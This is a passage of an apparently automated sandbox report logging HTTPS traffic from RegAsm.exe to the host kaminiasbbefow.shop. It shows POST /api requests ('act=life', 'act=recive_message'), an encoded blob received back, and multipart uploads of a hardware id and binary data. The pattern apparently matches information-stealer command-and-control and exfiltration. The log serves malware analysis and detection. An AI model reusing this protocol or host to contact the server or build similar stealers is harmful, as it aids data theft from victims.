2024-07-26 18:37:00 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: kaminiasbbefow.shop
2024-07-26 18:37:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-07-26 18:37:01 UTC	800	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 18:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nnm5slrub9n8lkqltgp6crq9ro; expires=Tue, 19-Nov-2024 12:23:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A7eFi4oX4jOnTR6hJXyxTip9mxLf2tWFJ61%2BS%2FyOU1gFZrlsXnof0z8Usb6yF7QF6pZyBnWGtKMso7fiFrV7QUvrLCnz0Eo%2FyREGp7GisOCZHQBhoX4D0XHkciu7PUfW0hGqfyXT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a967fa05b3ac352-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 18:37:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-07-26 18:37:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.96.3	443	3868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 18:37:01 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 57 Host: kaminiasbbefow.shop
2024-07-26 18:37:01 UTC	57	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 40 6f 62 6c 61 6b 6f 5f 73 75 70 70 6f 72 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--@oblako_support&j=
2024-07-26 18:37:02 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 18:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dqaspj88o5k8ofgd6p1q444tk0; expires=Tue, 19-Nov-2024 12:23:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IhC5iKfXkwAfuW%2BQB8l0LAuUNVcIDFAdaUJ2Un9GdphqjFdADK68%2Fl%2BPLHXJGh0lP%2BkreO4AQqyy2g8dIhry8IhSM5pYAH7cIKBaDXgxW%2Bs87Wz%2BKthn8i%2BfS7K7f6jNWI2I%2B7Ch"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a967fa72f9c4307-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 18:37:02 UTC	559	IN	Data Raw: 31 64 39 39 0d 0a 5a 51 31 4e 69 42 43 76 39 62 7a 46 6a 5a 56 37 50 71 39 30 49 6c 4e 4b 5a 6d 6a 70 63 4f 55 2f 6b 7a 6a 62 48 39 37 48 63 5a 49 65 4c 7a 75 71 4b 70 76 5a 6e 72 62 6f 74 30 46 4b 33 51 46 48 66 32 67 48 44 4d 74 4b 67 31 37 2f 53 37 34 7a 2f 4c 45 63 73 46 39 72 4c 4f 52 6a 79 74 6d 65 6f 50 57 33 51 57 58 55 56 6b 63 39 61 46 78 4b 6a 42 71 48 58 76 39 61 75 6e 53 78 74 78 33 78 44 57 45 71 34 48 58 4d 6b 64 32 70 34 50 41 65 57 38 34 65 54 44 6f 6e 44 67 58 4c 58 4d 64 61 36 52 72 68 50 5a 4f 69 42 66 4d 6f 62 44 37 6a 4d 74 4c 5a 78 2b 66 6f 2b 31 6b 45 6a 52 56 48 4d 53 59 41 44 49 49 59 6a 56 66 33 57 37 39 31 72 71 34 58 2b 67 31 76 4b 65 46 2f 78 59 58 51 6f 2b 66 37 47 46 48 4f 56 67 35 78 4c 78 78 4b 30 31 4c 55 62 2f 4a 4c 71 Data Ascii: 1d99ZQ1NiBCv9bzFjZV7Pq90IlNKZmjpcOU/kzjbH97HcZIeLzuqKpvZnrbot0FK3QFHf2gHDMtKg17/S74z/LEcsF9rLORjytmeoPW3QWXUVkc9aFxKjBqHXv9aunSxtx3xDWEq4HXMkd2p4PAeW84eTDonDgXLXMda6RrhPZOiBfMobD7jMtLZx+fo+1kEjRVHMSYADIIYjVf3W791rq4X+g1vKeF/xYXQo+f7GFHOVg5xLxxK01LUb/JLq
2024-07-26 18:37:02 UTC	1369	IN	Data Raw: 50 4d 56 4c 52 72 70 66 4d 4f 51 79 4f 66 77 75 51 41 63 79 68 6f 41 61 57 67 4b 44 34 51 41 68 6b 2f 30 56 4b 74 78 75 61 4d 65 38 77 6c 76 4b 75 31 2f 77 35 48 5a 70 4f 66 7a 47 46 4c 42 48 45 4d 31 4b 30 52 45 79 78 57 66 48 61 6b 61 69 48 36 34 6f 67 48 7a 43 53 38 77 70 47 75 4e 6b 4e 4c 6e 74 37 63 54 57 73 41 66 53 7a 59 67 43 42 69 41 48 59 52 55 39 6c 79 7a 66 72 53 76 46 66 34 47 61 43 72 74 59 4d 4f 63 30 36 54 6c 38 56 6b 53 6a 52 46 59 63 58 42 45 4a 49 67 44 6b 57 2f 79 53 36 67 39 6f 2b 73 4b 73 41 42 6a 62 37 49 79 78 4a 2f 52 71 75 4c 39 46 31 6e 41 48 30 45 77 4a 51 49 42 69 68 71 50 57 66 5a 61 76 58 43 7a 71 78 50 2b 44 32 6f 72 34 48 75 4e 32 5a 36 67 39 37 64 42 48 50 30 62 54 44 6f 6b 52 6a 2b 49 48 49 6c 61 35 78 71 6d 4d 36 58 6c Data Ascii: PMVLRrpfMOQyOfwuQAcyhoAaWgKD4QAhk/0VKtxuaMe8wlvKu1/w5HZpOfzGFLBHEM1K0REyxWfHakaiH64ogHzCS8wpGuNkNLnt7cTWsAfSzYgCBiAHYRU9lyzfrSvFf4GaCrtYMOc06Tl8VkSjRFYcXBEJIgDkW/yS6g9o+sKsABjb7IyxJ/RquL9F1nAH0EwJQIBihqPWfZavXCzqxP+D2or4HuN2Z6g97dBHP0bTDokRj+IHIla5xqmM6Xl
2024-07-26 18:37:02 UTC	1369	IN	Data Raw: 49 6f 35 33 6e 48 6d 74 71 67 37 72 64 58 48 4d 6f 4f 41 47 6c 6f 4d 68 71 47 48 71 6c 57 2f 56 50 35 59 76 4b 38 55 2f 63 4c 4c 33 65 71 64 73 47 66 31 4b 6a 6d 2f 52 4e 54 78 42 5a 49 4f 43 45 48 43 6f 63 55 68 6c 48 39 56 37 78 2b 75 61 67 57 38 41 74 6f 4b 4f 73 79 67 39 66 5a 76 36 2b 76 57 57 7a 41 47 6b 73 39 61 6a 45 4a 68 52 79 41 53 37 46 46 39 32 54 38 6f 68 2b 77 58 79 38 67 36 33 2f 48 6e 4e 43 72 37 76 63 64 58 38 63 57 54 7a 51 75 44 41 4f 4c 41 49 42 53 38 46 75 79 64 72 47 72 46 76 45 43 61 47 2b 6b 4d 73 71 50 6e 76 2b 76 32 6a 42 6d 6a 51 6b 4f 4b 47 67 44 42 73 74 4b 78 31 6e 37 57 72 52 33 74 36 6f 51 39 77 6c 76 49 75 42 67 78 5a 66 65 71 65 6e 32 46 56 6e 4d 47 6b 4d 6a 4a 41 49 48 6a 52 71 56 48 62 38 61 76 6d 58 38 2f 56 50 51 44 Data Ascii: Io53nHmtqg7rdXHMoOAGloMhqGHqlW/VP5YvK8U/cLL3eqdsGf1Kjm/RNTxBZIOCEHCocUhlH9V7x+uagW8AtoKOsyg9fZv6+vWWzAGks9ajEJhRyAS7FF92T8oh+wXy8g63/HnNCr7vcdX8cWTzQuDAOLAIBS8FuydrGrFvECaG+kMsqPnv+v2jBmjQkOKGgDBstKx1n7WrR3t6oQ9wlvIuBgxZfeqen2FVnMGkMjJAIHjRqVHb8avmX8/VPQD
2024-07-26 18:37:02 UTC	1369	IN	Data Raw: 30 77 5a 33 58 72 2b 6e 34 45 45 37 4f 47 6b 34 32 4a 67 67 45 68 68 69 45 55 4c 45 55 2b 58 71 6b 35 55 75 77 4b 32 67 69 78 48 6e 42 6b 4a 36 34 6f 65 35 5a 57 38 46 57 47 48 45 6b 44 67 61 43 45 6f 35 59 2b 56 47 77 65 4c 32 75 46 76 4d 42 59 69 44 6a 59 4d 65 55 30 4b 54 6a 2b 78 39 64 7a 67 52 49 4f 47 68 4b 53 6f 77 4b 78 77 57 78 65 37 64 77 71 4b 49 44 73 42 67 68 4e 71 70 31 77 64 65 47 35 2b 7a 32 46 6c 2f 4d 47 30 59 34 49 41 51 4d 6a 68 32 4b 55 2f 5a 64 75 58 43 79 71 68 58 34 43 6d 4d 6b 35 48 76 4c 6c 39 2b 74 72 37 6c 5a 57 39 56 57 47 48 45 59 42 77 71 4c 43 63 64 43 76 30 50 35 65 72 44 6c 53 37 41 56 5a 53 62 71 63 63 4b 51 32 71 7a 6a 38 68 78 54 7a 68 39 46 4f 43 59 57 41 34 55 61 6a 31 4c 30 55 62 6c 77 74 71 6b 54 38 30 63 68 62 2b Data Ascii: 0wZ3Xr+n4EE7OGk42JggEhhiEULEU+Xqk5UuwK2gixHnBkJ64oe5ZW8FWGHEkDgaCEo5Y+VGweL2uFvMBYiDjYMeU0KTj+x9dzgRIOGhKSowKxwWxe7dwqKIDsBghNqp1wdeG5+z2Fl/MG0Y4IAQMjh2KU/ZduXCyqhX4CmMk5HvLl9+tr7lZW9VWGHEYBwqLCcdCv0P5erDlS7AVZSbqccKQ2qzj8hxTzh9FOCYWA4Uaj1L0UblwtqkT80chb+
2024-07-26 18:37:02 UTC	1369	IN	Data Raw: 32 36 76 6b 2b 52 39 4f 79 78 6c 4a 4d 69 73 4e 44 59 4d 65 6a 56 37 32 47 76 63 39 75 37 31 54 71 45 64 4d 4f 50 70 2f 6a 59 69 51 76 71 2f 77 46 52 79 56 56 6b 67 38 49 41 34 4f 6a 42 2b 41 57 2f 68 49 73 48 69 79 70 52 66 37 43 47 6b 72 36 58 4c 66 6b 64 71 76 37 50 6f 55 55 73 34 53 41 48 39 6f 41 78 4c 4c 53 73 64 76 2f 46 53 69 63 72 75 30 47 62 41 59 49 54 61 71 64 63 48 58 68 75 66 72 2b 51 74 58 7a 42 31 4c 50 79 38 4c 44 34 45 53 69 46 6e 79 56 4c 4a 38 76 36 30 65 2f 51 6c 6c 4a 75 4e 31 77 5a 50 5a 35 36 47 33 48 6b 53 4e 54 67 41 61 43 53 6b 6d 6a 41 6a 48 51 72 39 44 2b 58 71 77 35 55 75 77 43 32 59 6a 34 48 6e 4b 6e 64 43 75 34 66 77 4c 54 73 34 53 51 7a 67 72 41 77 4f 46 45 6f 42 59 2f 31 32 34 64 72 69 76 45 50 5a 48 49 57 2f 74 61 6f 33 Data Ascii: 26vk+R9OyxlJMisNDYMejV72Gvc9u71TqEdMOPp/jYiQvq/wFRyVVkg8IA4OjB+AW/hIsHiypRf7CGkr6XLfkdqv7PoUUs4SAH9oAxLLSsdv/FSicru0GbAYITaqdcHXhufr+QtXzB1LPy8LD4ESiFnyVLJ8v60e/QllJuN1wZPZ56G3HkSNTgAaCSkmjAjHQr9D+Xqw5UuwC2Yj4HnKndCu4fwLTs4SQzgrAwOFEoBY/124drivEPZHIW/tao3
2024-07-26 18:37:02 UTC	1369	IN	Data Raw: 76 51 66 58 38 59 54 53 6a 41 76 44 41 65 5a 45 59 68 53 39 56 71 32 65 37 71 6b 48 50 59 41 5a 69 37 69 64 59 33 5a 6e 71 44 33 74 30 45 63 34 78 46 44 4e 57 67 62 52 4a 4a 53 67 46 47 78 41 76 6c 39 74 71 38 5a 2f 67 64 6f 50 65 78 37 7a 5a 54 4d 70 4f 6e 2f 48 31 44 42 47 30 67 34 4b 41 45 42 68 68 6d 4b 57 2f 46 52 75 44 33 79 35 52 54 6f 52 7a 64 76 32 33 2f 44 6b 39 43 6b 2f 2f 42 5a 51 34 4d 50 41 44 59 6b 52 46 4c 4c 48 59 35 50 39 6c 2b 78 64 4c 79 72 47 76 6b 41 61 79 7a 72 64 73 47 59 31 36 54 6e 39 68 46 54 7a 68 5a 4c 4f 53 49 46 42 49 35 53 79 52 33 32 51 76 6b 6c 2f 49 6f 51 39 51 78 75 62 63 31 30 79 70 75 65 75 4b 48 75 57 56 76 42 56 68 68 78 4b 77 41 45 67 68 32 44 56 2f 5a 61 76 6e 75 38 72 52 6a 39 44 48 30 71 35 48 66 4d 6c 39 2b 6f Data Ascii: vQfX8YTSjAvDAeZEYhS9Vq2e7qkHPYAZi7idY3ZnqD3t0Ec4xFDNWgbRJJSgFGxAvl9tq8Z/gdoPex7zZTMpOn/H1DBG0g4KAEBhhmKW/FRuD3y5RToRzdv23/Dk9Ck//BZQ4MPADYkRFLLHY5P9l+xdLyrGvkAayzrdsGY16Tn9hFTzhZLOSIFBI5SyR32Qvkl/IoQ9Qxubc10ypueuKHuWVvBVhhxKwAEgh2DV/Zavnu8rRj9DH0q5HfMl9+o
2024-07-26 18:37:02 UTC	181	IN	Data Raw: 72 4f 41 45 4e 32 46 6a 6f 6b 6a 42 53 43 57 75 45 59 6c 33 61 6f 6f 6c 4f 2b 52 32 42 76 73 6b 75 4e 33 35 36 59 6f 62 63 42 48 4a 56 57 64 54 49 6d 43 67 32 64 41 38 70 7a 39 6c 79 38 65 71 7a 6e 50 66 73 54 61 47 2b 6b 4d 73 76 58 68 76 65 68 74 78 31 4e 6a 55 34 51 59 33 4e 52 57 64 78 43 31 55 4b 2f 51 2f 6c 72 2f 50 31 42 76 6b 64 39 62 37 49 79 69 70 54 4d 74 65 6e 30 44 31 2b 4b 4b 48 34 79 50 67 6b 46 67 42 4f 35 59 39 39 58 75 48 36 79 35 79 4c 6d 43 6e 38 73 37 33 58 7a 71 64 43 67 2b 2f 41 58 57 73 31 57 44 6e 45 6e 52 0d 0a Data Ascii: rOAEN2FjokjBSCWuEYl3aoolO+R2BvskuN356YobcBHJVWdTImCg2dA8pz9ly8eqznPfsTaG+kMsvXhvehtx1NjU4QY3NRWdxC1UK/Q/lr/P1Bvkd9b7IyipTMten0D1+KKH4yPgkFgBO5Y99XuH6y5yLmCn8s73XzqdCg+/AXWs1WDnEnR
2024-07-26 18:37:02 UTC	1369	IN	Data Raw: 32 34 38 37 0d 0a 46 4b 79 55 73 38 64 7a 68 54 35 5a 66 7a 39 55 38 55 45 59 53 48 74 5a 4e 7a 61 2f 62 48 69 2b 42 4a 64 6a 56 67 41 4e 32 68 63 57 73 56 53 67 30 79 78 41 75 6b 76 35 2f 42 41 70 31 63 39 4d 4b 52 72 6a 59 47 65 2f 37 32 35 57 55 36 4e 54 67 42 32 4a 67 6b 4c 69 42 79 45 54 2b 4e 63 75 6d 75 2f 34 69 33 4f 4a 6d 49 6b 35 6e 2f 43 6e 4f 43 5a 7a 76 6f 53 55 4d 41 5a 53 77 38 57 45 51 6d 46 48 49 42 4c 34 42 72 33 50 62 50 6c 53 38 6c 48 4a 32 2f 56 50 49 32 50 6e 76 2b 76 77 68 70 53 77 78 46 57 49 47 55 6c 42 34 41 65 69 6c 4c 36 47 76 63 39 75 75 56 4c 6f 45 6b 76 4b 2f 73 79 6c 63 65 4d 2f 4c 71 6b 54 67 79 66 43 51 34 6f 61 42 4a 4b 30 30 44 4a 48 65 4d 61 34 54 33 37 70 67 48 69 41 57 77 35 36 54 58 7a 71 66 32 77 2b 66 30 43 48 75 Data Ascii: 2487FKyUs8dzhT5Zfz9U8UEYSHtZNza/bHi+BJdjVgAN2hcWsVSg0yxAukv5/BAp1c9MKRrjYGe/725WU6NTgB2JgkLiByET+Ncumu/4i3OJmIk5n/CnOCZzvoSUMAZSw8WEQmFHIBL4Br3PbPlS8lHJ2/VPI2Pnv+vwhpSwxFWIGUlB4AeilL6Gvc9uuVLoEkvK/sylceM/LqkTgyfCQ4oaBJK00DJHeMa4T37pgHiAWw56TXzqf2w+f0CHu
2024-07-26 18:37:02 UTC	1369	IN	Data Raw: 4f 41 49 4a 79 31 7a 48 57 37 45 43 36 54 50 38 6f 51 4b 77 58 7a 39 39 73 53 65 65 77 49 37 31 38 4c 6b 41 48 4e 74 57 47 47 4e 6d 52 42 6a 4c 53 73 63 61 38 6b 69 72 65 37 2b 7a 45 4c 63 35 55 51 6e 70 59 38 65 32 30 37 66 6f 79 53 64 4a 7a 68 68 4f 4e 6a 34 56 53 73 56 53 69 42 32 70 59 2f 6b 31 38 4b 4d 51 35 6b 64 51 59 61 70 71 6a 63 2b 65 6b 75 7a 35 46 31 76 62 42 77 30 58 4b 78 55 41 71 68 2b 58 57 72 45 55 2b 58 76 38 2f 55 43 2b 52 32 73 2b 71 69 71 64 78 59 58 79 76 4b 42 4a 44 74 4a 59 57 58 45 2b 52 46 4c 5a 58 4d 64 50 73 51 4c 35 4f 72 2b 33 41 66 59 45 65 53 79 74 54 50 4f 69 33 61 6e 68 38 41 39 70 7a 67 64 44 4d 53 4d 36 4e 4b 6f 63 6a 46 72 39 54 49 64 44 69 61 59 64 2f 67 42 35 50 71 6f 38 6a 5a 69 65 2f 39 61 33 55 52 7a 79 57 41 41 Data Ascii: OAIJy1zHW7EC6TP8oQKwXz99sSeewI718LkAHNtWGGNmRBjLSsca8kire7+zELc5UQnpY8e207foySdJzhhONj4VSsVSiB2pY/k18KMQ5kdQYapqjc+ekuz5F1vbBw0XKxUAqh+XWrEU+Xv8/UC+R2s+qiqdxYXyvKBJDtJYWXE+RFLZXMdPsQL5Or+3AfYEeSytTPOi3anh8A9pzgdDMSM6NKocjFr9TIdDiaYd/gB5Pqo8jZie/9a3URzyWAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.96.3	443	3868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 18:37:02 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18173 Host: kaminiasbbefow.shop
2024-07-26 18:37:02 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 35 39 37 38 38 35 34 45 45 42 42 44 45 43 38 34 41 39 44 41 41 46 34 36 39 38 41 33 33 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 6f 62 6c 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC5978854EEBBDEC84A9DAAF4698A33E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@obla
2024-07-26 18:37:02 UTC	2842	OUT	Data Raw: a4 8c a1 79 41 bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d Data Ascii: yA~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm
2024-07-26 18:37:03 UTC	804	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 18:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=quoa9drr8ilujvgp81gfsj0kld; expires=Tue, 19-Nov-2024 12:23:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bx05dcCbJ%2BnRoUPTqMPfpUQwMueroroxMiwMPKaULpEJ7%2FBn%2FICZ8WHhIMkrj%2FbPdyqzOBbB16DbBW6Atjm%2FLnkZGXTj8I1vbwkyump01vUVbvb0plw8cZDvsXwbLREux3Wl1HrC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a967fadf8b54240-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 18:37:03 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-26 18:37:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.96.3	443	3868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 18:37:04 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8794 Host: kaminiasbbefow.shop
2024-07-26 18:37:04 UTC	8794	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 35 39 37 38 38 35 34 45 45 42 42 44 45 43 38 34 41 39 44 41 41 46 34 36 39 38 41 33 33 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 6f 62 6c 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC5978854EEBBDEC84A9DAAF4698A33E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@obla
2024-07-26 18:37:04 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 18:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k9jofab7nu66gbokmkgghj9pl6; expires=Tue, 19-Nov-2024 12:23:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BEYkRDOvRVX28PUX%2Bt8MoIFmsiDkBwvrc0R3d6NosnacjMg2JXTH4DidtxATxpIHaS1Cni%2FUFv%2FIrRDyqbDa3%2Bf1u%2FX1vLCNoJADOeYuPpyjOBZocwcMF864yqe%2F1bzzjjnZGBGX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a967fb4ff164310-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 18:37:04 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-26 18:37:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.96.3	443	3868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 18:37:05 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20447 Host: kaminiasbbefow.shop
2024-07-26 18:37:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 35 39 37 38 38 35 34 45 45 42 42 44 45 43 38 34 41 39 44 41 41 46 34 36 39 38 41 33 33 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 6f 62 6c 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC5978854EEBBDEC84A9DAAF4698A33E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@obla
